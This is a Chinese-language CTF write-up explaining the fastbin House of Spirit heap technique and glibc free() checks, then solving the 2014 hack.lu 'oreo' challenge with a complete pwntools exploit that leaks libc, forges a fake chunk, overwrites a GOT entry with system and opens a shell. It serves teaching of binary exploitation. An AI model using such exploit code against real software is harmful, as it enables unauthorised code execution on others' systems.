Fastbin Attack 3 (题目)

回顾

House of spirit是文章“The Mallo Maleficarum”提出的一种利用fastbin实施的堆利用技术,更像一种内存漏洞利用技术的思想。其思想就是构造一个fake chunk使得内存分配器错误的分配到我们可控的内存区域,进而达到任意地址读写的的效果。该攻击适合用户控制了低地址(chunk头)、高地址(next chunk头),需要通过House of spirit来控制中间地址的情景

House of sirit的条件与基本思路如下:

  1. 程序存在漏洞可以控制一个free函数的参数——指针P
  2. 可在可控内存区域(.bss,stack,heap)上构造一个fake fastchunk

Fastbin Attack 3 (题目)

  1. 将指针P修改为fack fastchunk的chunk address,将其free到FastbinY[i]单链表中

  2. 再次申请同样大小的chunk,会返回fake fastchunk,结合程序的功能实现任意地址读写的效果

关键就是如何正确伪造一个fake fastchunk,来绕过glic的安全检测

glibc中关于释放fast chunk的安全检测

堆的释放函数定义在_libc_free函数中,通过源码分析,正常释放一个fastchunk时有五个安全检测

  1. 在_libc_free函数中,会检测该chunk是否通过mmap申请,即检测chunk的ISMMAP标志位,即 A|M|P 中的第二位,如果ISMMAP为1的话,就说明该chunk是通过mmap申请的空间,就会调用munmap函数进行释放,同时对mmap分配mmap_threshold及收缩trim_threshold阈值进行调整。所以我们要将它置0。
    if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
    /* See if the dynamic brk/mmap threshold needs adjusting.
       Dumped fake mmapped chunks do not affect the threshold.  */
    if (!mp_.no_dyn_threshold
        && chunksize_nomask (p) > mp_.mmap_threshold
        && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
        && !DUMPED_MAIN_ARENA_CHUNK (p))
      {
        mp_.mmap_threshold = chunksize (p);
        mp_.trim_threshold = 2 * mp_.mmap_threshold;
        LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                    mp_.mmap_threshold, mp_.trim_threshold);
      }
    munmap_chunk (p);
    return;
    }

下面是_libc_free函数中子函数_int_free的安全检查

  1. chunk指针的地址要对齐且堆指针不能溢出

    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  2. chunk的大小要大于MINSIZE且大小对齐()

if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");
  1. chunk的size要小于fastchunk支持的最大值(64 bytes on x32, 128 bytes on x64)

    if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
  2. next chunk的size要大于2*SIZE_SZ(x86下SIZE_SZ为4,x64下为8),且小于av_>system_mem(默认为128kb)

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
    <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
    >= av->system_mem, 0))

2014 hack.lu oreo

链接: https://pan.baidu.com/s/1XBUMr9l6g_MTTfjWk5YN_A 密码: pow4

程序的基本功能如下

  • 添加枪支,其主要会读取枪支的名字与描述。但问题在于读取的名字的长度过长,可以覆盖 next 指针以及后面堆块的数据。可以覆盖后面堆块的数据大小为 56-(56-27)=27 大小。需要注意的是,这些枪支的大小都是在 fastbin 范围内的。
  • 展示添加枪支,即从头到尾输出枪支的描述与名字。
  • 订已经选择的枪支,即将所有已经添加的枪支释放掉,但是并没有置为 NULL。
  • 留下订货消息
  • 展示目前状态,即添加了多少只枪,订了多少单,留下了什么信息。

不难分析得到,程序的漏洞主要存在于添加枪支时的堆溢出漏洞。

基本利用思路如下

  1. 由于程序存在堆溢出漏洞,而且还可以控制 next 指针,我们可以直接控制 next 指针指向程序中 got 表的位置。当进行展示的时候,即可以输出对应的内容,这里同时需要确保假设对应地址为一个枪支结构体时,其 next 指针为 NULL。这里我采用 puts@got。通过这样的操作,我们就可以获得出 libc 基地址,以及 system 函数地址。
  2. 由于枪支结构体大小是 0x38 大小,所以其对应的 chunk 为 0x40。这里采用 house of sprit 的技术来返回 0x0804A2A8 处的 chunk,即留下的消息的指针。因此,我们需要设置 0x0804A2A4 处的内容为 0x40,即需要添加 0x40 支枪支,从而绕过大小检测。同时为了确保可以绕过 next chunk 的检测,这里我们编辑留下的消息。
  3. 在成功分配这样的 chunk 后,我们其实就有了一个任意地址修改的漏洞,这里我们可以选择修改一个合适的 got 项为 system 地址,从而获得 shell。

from pwn import *

context.terminal = ["terminator", "-e"]
#context.log_level = 'debug'

sh = process("./oreo")
elf = ELF("./oreo")
libc = ELF("./libc.so.6")


def add(name,description):
    #sh.recvuntil("Action: ")
    sh.sendline('1')
    #sh.recvuntil("Rifle name: ")
    sh.sendline(name)
    #sh.recvuntil("description: ")
    sh.sendline(description)

def show_added():
    #sh.recvuntil("Action: ")
    sh.sendline('2')


def order_to_del():
    #sh.recvuntil("Action: ")
    sh.sendline('3')

def leave_a_mes(notice):
    #sh.recvuntil("Action: ")
    sh.sendline('4')
    #sh.recvuntil("order: ")
    sh.sendline(notice)


# leak libc base
#description = p32(elf.got['puts'])
name = b'a'*27 + p32(elf.got['puts'])
add(name, b'a'*25)
show_added()
sh.recvuntil("===================================\n")
sh.recvuntil('Name: ')
puts_addr = u32( sh.recv(4).ljust(4,b'\x00') )
log.success('puts addr :' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
#log.success ('libc base :' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))


# free chunk 0x804a2a8
rifle_n = 1 # we have create a chunk
while rifle_n < 0x3f:
    add(b'a'*27+p32(0), b'a'*25) # 25B | 27B | null_addr
    rifle_n += 1
add(b'a'*27 + p32(0x804a2a8), b'a'*25) # 25B | 27B | 0x804a2a8

# now 0x804a2a4 count++ to 0x40
# which is equals to chunk size
# bypass check to write sth in 0x804a2a8
payload = b'\x00'*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, b'a')
payload += p32(0)
payload = payload.ljust(128, b'b')
leave_a_mes(payload)
log.success('wirte payload at 0x804a2a8')

# fastbin 0x804a2a0 -> any addr heap -> null
order_to_del()
log.success("finish free()")
sh.recvuntil("Okay order submitted!\n")
#gdb.attach(sh)

# get shell
payload = p32(elf.got['__isoc99_sscanf'])
add(b'a'*8, payload)
#gdb.attach(sh)
log.success("sys addr: " + hex(system_addr))
#gdb.attach(sh)
leave_a_mes(p32(system_addr))
sh.sendline(";/bin/sh\x00")
#gdb.attach(sh)

sh.interactive()

2015 9447 CTF : Search Engine

链接: https://pan.baidu.com/s/1x0SaVRNkQQcc9yuGTTb7CA

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~